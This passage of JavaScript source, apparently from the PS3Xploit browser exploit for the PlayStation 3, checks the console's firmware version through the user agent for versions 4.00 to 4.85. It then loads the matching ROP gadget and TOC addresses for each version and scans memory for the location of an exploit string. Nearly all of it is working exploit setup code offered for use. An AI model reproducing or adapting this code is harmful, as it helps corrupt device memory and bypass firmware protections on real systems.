toc_addr_481_d; 731 | gadget1_addr=gadget1_addr_481_d; 732 | gadget2_addr=gadget2_addr_481_d; 733 | gadget3_addr=gadget3_addr_481_d; 734 | gadget4_addr=gadget4_addr_481_d; 735 | gadget5_addr=gadget5_addr_481_d; 736 | gadget6_addr=gadget6_addr_481_d; 737 | gadget7_addr=gadget7_addr_481_d; 738 | gadget8_addr=gadget8_addr_481_d; 739 | } 740 | else 741 | { 742 | toc_addr = toc_addr_481; 743 | gadget1_addr=gadget1_addr_481; 744 | gadget2_addr=gadget2_addr_481; 745 | gadget3_addr=gadget3_addr_481; 746 | gadget4_addr=gadget4_addr_481; 747 | gadget5_addr=gadget5_addr_481; 748 | gadget6_addr=gadget6_addr_481; 749 | gadget7_addr=gadget7_addr_481; 750 | gadget8_addr=gadget8_addr_481; 751 | } 752 | if(document.getElementById('btnTrigger')) 753 | { 754 | if(document.getElementById('btnTrigger').disabled===false)setInnerHTML(document.getElementById('result'),""); 755 | } 756 | cleanGUI(); 757 | } 758 | 759 | } 760 | function initDEX() 761 | { 762 | if((document.getElementById('dex'))&&(document.getElementById('dex_txt'))) 763 | { 764 | setVisible(document.getElementById('dex_txt')); 765 | enable_element(document.getElementById('dex')); 766 | } 767 | } 768 | function showResult(str) 769 | { 770 | setInnerHTML(document.getElementById('result'),str); 771 | } 772 | function findJsVariableOffset(name,exploit_data,base,size) 773 | { 774 | readMemory(base,size); 775 | var dat=document.getElementById('exploit').style.src.substr(6,size); 776 | for (var i=0;i<(dat.length*2);i+=0x10) { 777 | if (dat.charCodeAt(i/2)===exploit_data.charCodeAt(0)) 778 | { 779 | var match=0; 780 | for (var k=0;k<(exploit_data.length*2);k+=0x2) 781 | { 782 | if (dat.charCodeAt((i+k)/2) !== exploit_data.charCodeAt(k/2))break; 783 | match+=1; 784 | } 785 | if (match===exploit_data.length) 786 | { 787 | var exploit_addr=base+i+4; 788 | logAdd("Found "+name+" at: 0x"+exploit_addr.toString(16)+br+s2hex(exploit_data)); 789 | return exploit_addr; 790 | } 791 | } 792 | } 793 | var end_range=base+size; 794 | logAdd("The string variable named "+name+" could not be located in range 0x"+base.toString(16)+" - 0x"+end_range.toString(16)); 795 | return 0; 796 | } 797 | 798 | //#################################################################################################################################################################### 799 | function ps3chk(){ 800 | 801 | var fwCompat = ["4.00","4.10","4.11","4.20","4.21","4.25","4.30","4.31","4.40","4.41","4.45","4.46","4.50","4.53","4.55","4.60","4.65","4.66","4.70","4.75","4.76","4.78","4.80","4.81","4.82","4.83","4.84","4.85"]; 802 | var ua = navigator.userAgent; 803 | var uaStringCheck = ua.substring(ua.indexOf("5.0 (") + 5, ua.indexOf(") Apple") - 7); 804 | var fwVersion = ua.substring(ua.indexOf("5.0 (") + 19, ua.indexOf(") Apple")); 805 | var msgHFW = "ATTENTION!\n\nYour firmware version requires HFW (Hybrid Firmware) to be installed. OFW is not supported!\n\nThis page cannot distinguish between OFW and HFW."; 806 | var msgCongrats = "Congratulations! We've detected your PlayStation 3 is running FW " + fwVersion + ", which is compatible with PS3Xploit! Enjoy!"; 807 | resetOptions(); 808 | switch (uaStringCheck) { 809 | case "PLAYSTATION": 810 | switch (fwVersion) { 811 | 812 | case fwCompat[0]: 813 | alert(msgCongrats); 814 | toc_addr = toc_addr_400; 815 | gadget1_addr=gadget1_addr_400; 816 | gadget2_addr=gadget2_addr_400; 817 | gadget3_addr=gadget3_addr_400; 818 | gadget4_addr=gadget4_addr_400; 819 | gadget5_addr=gadget5_addr_400; 820 | gadget6_addr=gadget6_addr_400; 821 | gadget7_addr=gadget7_addr_400; 822 | gadget8_addr=gadget8_addr_400; 823 | break; 824 | 825 | case fwCompat[1]: 826 | alert(msgCongrats); 827 | toc_addr = toc_addr_410; 828 | gadget1_addr=gadget1_addr_410; 829 | gadget2_addr=gadget2_addr_410; 830 | gadget3_addr=gadget3_addr_410; 831 | gadget4_addr=gadget4_addr_410; 832 | gadget5_addr=gadget5_addr_410; 833 | gadget6_addr=gadget6_addr_410; 834 | gadget7_addr=gadget7_addr_410; 835 | gadget8_addr=gadget8_addr_410; 836 | break; 837 | 838 | case fwCompat[2]: 839 | alert(msgCongrats); 840 | toc_addr = toc_addr_411; 841 | gadget1_addr=gadget1_addr_411; 842 | gadget2_addr=gadget2_addr_411; 843 | gadget3_addr=gadget3_addr_411; 844 | gadget4_addr=gadget4_addr_411; 845 | gadget5_addr=gadget5_addr_411; 846 | gadget6_addr=gadget6_addr_411; 847 | gadget7_addr=gadget7_addr_411; 848 | gadget8_addr=gadget8_addr_411; 849 | break; 850 | 851 | case fwCompat[3]: 852 | alert(msgCongrats); 853 | toc_addr = toc_addr_420; 854 | gadget1_addr=gadget1_addr_420; 855 | gadget2_addr=gadget2_addr_420; 856 | gadget3_addr=gadget3_addr_420; 857 | gadget4_addr=gadget4_addr_420; 858 | gadget5_addr=gadget5_addr_420; 859 | gadget6_addr=gadget6_addr_420; 860 | gadget7_addr=gadget7_addr_420; 861 | gadget8_addr=gadget8_addr_420; 862 | break; 863 | 864 | case fwCompat[4]: 865 | alert(msgCongrats); 866 | toc_addr = toc_addr_421; 867 | gadget1_addr=gadget1_addr_421; 868 | gadget2_addr=gadget2_addr_421; 869 | gadget3_addr=gadget3_addr_421; 870 | gadget4_addr=gadget4_addr_421; 871 | gadget5_addr=gadget5_addr_421; 872 | gadget6_addr=gadget6_addr_421; 873 | gadget7_addr=gadget7_addr_421; 874 | gadget8_addr=gadget8_addr_421; 875 | break; 876 | 877 | case fwCompat[5]: 878 | alert(msgCongrats); 879 | toc_addr = toc_addr_425; 880 | gadget1_addr=gadget1_addr_425; 881 | gadget2_addr=gadget2_addr_425; 882 | gadget3_addr=gadget3_addr_425; 883 | gadget4_addr=gadget4_addr_425; 884 | gadget5_addr=gadget5_addr_425; 885 | gadget6_addr=gadget6_addr_425; 886 | gadget7_addr=gadget7_addr_425; 887 | gadget8_addr=gadget8_addr_425; 888 | break; 889 | 890 | case fwCompat[6]: 891 | alert(msgCongrats); 892 | toc_addr = toc_addr_430; 893 | gadget1_addr=gadget1_addr_430; 894 | gadget2_addr=gadget2_addr_430; 895 | gadget3_addr=gadget3_addr_430; 896 | gadget4_addr=gadget4_addr_430; 897 | gadget5_addr=gadget5_addr_430; 898 | gadget6_addr=gadget6_addr_430; 899 | gadget7_addr=gadget7_addr_430; 900 | gadget8_addr=gadget8_addr_430; 901 | break; 902 | 903 | case fwCompat[7]: 904 | alert(msgCongrats); 905 | toc_addr = toc_addr_431; 906 | gadget1_addr=gadget1_addr_431; 907 | gadget2_addr=gadget2_addr_431; 908 | gadget3_addr=gadget3_addr_431; 909 | gadget4_addr=gadget4_addr_431; 910 | gadget5_addr=gadget5_addr_431; 911 | gadget6_addr=gadget6_addr_431; 912 | gadget7_addr=gadget7_addr_431; 913 | gadget8_addr=gadget8_addr_431; 914 | break; 915 | 916 | case fwCompat[8]: 917 | alert(msgCongrats); 918 | toc_addr = toc_addr_440; 919 | gadget1_addr=gadget1_addr_440; 920 | gadget2_addr=gadget2_addr_440; 921 | gadget3_addr=gadget3_addr_440; 922 | gadget4_addr=gadget4_addr_440; 923 | gadget5_addr=gadget5_addr_440; 924 | gadget6_addr=gadget6_addr_440; 925 | gadget7_addr=gadget7_addr_440; 926 | gadget8_addr=gadget8_addr_440; 927 | break; 928 | 929 | case fwCompat[9]: 930 | alert(msgCongrats); 931 | toc_addr = toc_addr_441; 932 | gadget1_addr=gadget1_addr_441; 933 | gadget2_addr=gadget2_addr_441; 934 | gadget3_addr=gadget3_addr_441; 935 | gadget4_addr=gadget4_addr_441; 936 | gadget5_addr=gadget5_addr_441; 937 | gadget6_addr=gadget6_addr_441; 938 | gadget7_addr=gadget7_addr_441; 939 | gadget8_addr=gadget8_addr_441; 940 | break; 941 | 942 | case fwCompat[10]: 943 | alert(msgCongrats); 944 | toc_addr = toc_addr_445; 945 | gadget1_addr=gadget1_addr_445; 946 | gadget2_addr=gadget2_addr_445; 947 | gadget3_addr=gadget3_addr_445; 948 | gadget4_addr=gadget4_addr_445; 949 | gadget5_addr=gadget5_addr_445; 950 | gadget6_addr=gadget6_addr_445; 951 | gadget7_addr=gadget7_addr_445; 952 | gadget8_addr=gadget8_addr_445; 953 | break; 954 | 955 | case fwCompat[11]: 956 | alert(msgCongrats); 957 | toc_addr = toc_addr_446; 958 | gadget1_addr=gadget1_addr_446; 959 | gadget2_addr=gadget2_addr_446; 960 | gadget3_addr=gadget3_addr_446; 961 | gadget4_addr=gadget4_addr_446; 962 | gadget5_addr=gadget5_addr_446; 963 | gadget6_addr=gadget6_addr_446; 964 | gadget7_addr=gadget7_addr_446; 965 | gadget8_addr=gadget8_addr_446; 966 | break; 967 | 968 | case fwCompat[12]: 969 | alert(msgCongrats); 970 | toc_addr = toc_addr_450; 971 | gadget1_addr=gadget1_addr_450; 972 | gadget2_addr=gadget2_addr_450; 973 | gadget3_addr=gadget3_addr_450; 974 | gadget4_addr=gadget4_addr_450; 975 | gadget5_addr=gadget5_addr_450; 976 | gadget6_addr=gadget6_addr_450; 977 | gadget7_addr=gadget7_addr_450; 978 | gadget8_addr=gadget8_addr_450; 979 | break; 980 | 981 | case fwCompat[13]: 982 | alert(msgCongrats); 983 | toc_addr = toc_addr_453; 984 | gadget1_addr=gadget1_addr_453; 985 | gadget2_addr=gadget2_addr_453; 986 | gadget3_addr=gadget3_addr_453; 987 | gadget4_addr=gadget4_addr_453; 988 | gadget5_addr=gadget5_addr_453; 989 | gadget6_addr=gadget6_addr_453; 990 | gadget7_addr=gadget7_addr_453; 991 | gadget8_addr=gadget8_addr_453; 992 | break; 993 | 994 | case fwCompat[14]: 995 | alert(msgCongrats); 996 | toc_addr = toc_addr_455; 997 | gadget1_addr=gadget1_addr_455; 998 | gadget2_addr=gadget2_addr_455; 999 | gadget3_addr=gadget3_addr_455; 1000 | gadget4_addr=gadget4_addr_455; 1001 | gadget5_addr=gadget5_addr_455; 1002 | gadget6_addr=gadget6_addr_455; 1003 | gadget7_addr=gadget7_addr_455; 1004 | gadget8_addr=gadget8_addr_455; 1005 | break; 1006 | 1007 | case fwCompat[15]: 1008 | alert(msgCongrats); 1009 | toc_addr = toc_addr_460; 1010 | gadget1_addr=gadget1_addr_460; 1011 | gadget2_addr=gadget2_addr_460; 1012 | gadget3_addr=gadget3_addr_460; 1013 | gadget4_addr=gadget4_addr_460; 1014 | gadget5_addr=gadget5_addr_460; 1015 | gadget6_addr=gadget6_addr_460; 1016 | gadget7_addr=gadget7_addr_460; 1017 | gadget8_addr=gadget8_addr_460; 1018 | break; 1019 | 1020 | case fwCompat[16]: 1021 | alert(msgCongrats); 1022 | toc_addr = toc_addr_465; 1023 | gadget1_addr=gadget1_addr_465; 1024 | gadget2_addr=gadget2_addr_465; 1025 | gadget3_addr=gadget3_addr_465; 1026 | gadget4_addr=gadget4_addr_465; 1027 | gadget5_addr=gadget5_addr_465; 1028 | gadget6_addr=gadget6_addr_465; 1029 | gadget7_addr=gadget7_addr_465; 1030 | gadget8_addr=gadget8_addr_465; 1031 | break; 1032 | 1033 | case fwCompat[17]: 1034 | alert(msgCongrats); 1035 | toc_addr = toc_addr_466; 1036 | gadget1_addr=gadget1_addr_466; 1037 | gadget2_addr=gadget2_addr_466; 1038 | gadget3_addr=gadget3_addr_466; 1039 | gadget4_addr=gadget4_addr_466; 1040 | gadget5_addr=gadget5_addr_466; 1041 | gadget6_addr=gadget6_addr_466; 1042 | gadget7_addr=gadget7_addr_466; 1043 | gadget8_addr=gadget8_addr_466; 1044 | break; 1045 | 1046 | case fwCompat[18]: 1047 | alert(msgCongrats); 1048 | toc_addr = toc_addr_470; 1049 | gadget1_addr=gadget1_addr_470; 1050 | gadget2_addr=gadget2_addr_470; 1051 | gadget3_addr=gadget3_addr_470; 1052 | gadget4_addr=gadget4_addr_470; 1053 | gadget5_addr=gadget5_addr_470; 1054 | gadget6_addr=gadget6_addr_470; 1055 | gadget7_addr=gadget7_addr_470; 1056 | gadget8_addr=gadget8_addr_470; 1057 | break; 1058 | 1059 | case fwCompat[19]: 1060 | alert(msgCongrats); 1061 | toc_addr = toc_addr_475; 1062 | gadget1_addr=gadget1_addr_475; 1063 | gadget2_addr=gadget2_addr_475; 1064 | gadget3_addr=gadget3_addr_475; 1065 | gadget4_addr=gadget4_addr_475; 1066 | gadget5_addr=gadget5_addr_475; 1067 | gadget6_addr=gadget6_addr_475; 1068 | gadget7_addr=gadget7_addr_475; 1069 | gadget8_addr=gadget8_addr_475; 1070 | break; 1071 | 1072 | case fwCompat[20]: 1073 | alert(msgCongrats); 1074 | toc_addr = toc_addr_476; 1075 | gadget1_addr=gadget1_addr_476; 1076 | gadget2_addr=gadget2_addr_476; 1077 | gadget3_addr=gadget3_addr_476; 1078 | gadget4_addr=gadget4_addr_476; 1079 | gadget5_addr=gadget5_addr_476; 1080 | gadget6_addr=gadget6_addr_476; 1081 | gadget7_addr=gadget7_addr_476; 1082 | gadget8_addr=gadget8_addr_476; 1083 | break; 1084 | 1085 | case fwCompat[21]: 1086 | alert(msgCongrats); 1087 | toc_addr = toc_addr_478; 1088 | gadget1_addr=gadget1_addr_478; 1089 | gadget2_addr=gadget2_addr_478; 1090 | gadget3_addr=gadget3_addr_478; 1091 | gadget4_addr=gadget4_addr_478; 1092 | gadget5_addr=gadget5_addr_478; 1093 | gadget6_addr=gadget6_addr_478; 1094 | gadget7_addr=gadget7_addr_478; 1095 | gadget8_addr=gadget8_addr_478; 1096 | break; 1097 | 1098 | case fwCompat[22]: 1099 | alert(msgCongrats); 1100 | toc_addr = toc_addr_480; 1101 | gadget1_addr=gadget1_addr_480; 1102 | gadget2_addr=gadget2_addr_480; 1103 | gadget3_addr=gadget3_addr_480; 1104 | gadget4_addr=gadget4_addr_480; 1105 | gadget5_addr=gadget5_addr_480; 1106 | gadget6_addr=gadget6_addr_480; 1107 | gadget7_addr=gadget7_addr_480; 1108 | gadget8_addr=gadget8_addr_480; 1109 | break; 1110 | case fwCompat[23]: 1111 | alert(msgCongrats); 1112 | initDEX(); 1113 | toc_addr = toc_addr_481; 1114 | gadget1_addr=gadget1_addr_481; 1115 | gadget2_addr=gadget2_addr_481; 1116 | gadget3_addr=gadget3_addr_481; 1117 | gadget4_addr=gadget4_addr_481; 1118 | gadget5_addr=gadget5_addr_481; 1119 | gadget6_addr=gadget6_addr_481; 1120 | gadget7_addr=gadget7_addr_481; 1121 | gadget8_addr=gadget8_addr_481; 1122 | break; 1123 | 1124 | case fwCompat[24]: 1125 | alert(msgCongrats); 1126 | toc_addr = toc_addr_482; 1127 | gadget1_addr=gadget1_addr_482; 1128 | gadget2_addr=gadget2_addr_482; 1129 | gadget3_addr=gadget3_addr_482; 1130 | gadget4_addr=gadget4_addr_482; 1131 | gadget5_addr=gadget5_addr_482; 1132 | gadget6_addr=gadget6_addr_482; 1133 | gadget7_addr=gadget7_addr_482; 1134 | gadget8_addr=gadget8_addr_482; 1135 | break; 1136 | 1137 | case fwCompat[25]: 1138 | alert(msgHFW); 1139 | toc_addr = toc_addr_483; 1140 | gadget1_addr=gadget1_addr_483; 1141 | gadget2_addr=gadget2_addr_483; 1142 | gadget3_addr=gadget3_addr_483; 1143 | gadget4_addr=gadget4_addr_483; 1144 | gadget5_addr=gadget5_addr_483; 1145 | gadget6_addr=gadget6_addr_483; 1146 | gadget7_addr=gadget7_addr_483; 1147 | gadget8_addr=gadget8_addr_483; 1148 | break; 1149 | 1150 | case fwCompat[26]: 1151 | alert(msgHFW); 1152 | toc_addr = toc_addr_484; 1153 | gadget1_addr=gadget1_addr_484; 1154 | gadget2_addr=gadget2_addr_484; 1155 | gadget3_addr=gadget3_addr_484; 1156 | gadget4_addr=gadget4_addr_484; 1157 | gadget5_addr=gadget5_addr_484; 1158 | gadget6_addr=gadget6_addr_484; 1159 | gadget7_addr=gadget7_addr_484; 1160 | gadget8_addr=gadget8_addr_484; 1161 | break; 1162 | 1163 | case fwCompat[27]: 1164 | alert(msgHFW); 1165 | toc_addr = toc_addr_485; 1166 | gadget1_addr=gadget1_addr_485; 1167 | gadget2_addr=gadget2_addr_485; 1168 | gadget3_addr=gadget3_addr_485; 1169 | gadget4_addr=gadget4_addr_485; 1170 | gadget5_addr=gadget5_addr_485; 1171 | gadget6_addr=gadget6_addr_485; 1172 | gadget7_addr=gadget7_addr_485; 1173 | gadget8_addr=gadget8_addr_485; 1174 | break; 1175 | 1176 | default: 1177 | alert("Your PS3 is not on FW 4.10+! Your current running FW version is " + fwVersion + ", which is not compatible with PS3Xploit. All features have been disabled"); 1178 | disable_btn(); 1179 | disable_cb(); 1180 | break; 1181 | } 1182 | break; 1183 | 1184 | default: 1185 | alert("You are not on a PlayStation System! All features have been disabled"); 1186 | disable_btn(); 1187 | disable_cb(); 1188 | break; 1189 | } 1190 | } --------------------------------------------------------------------------------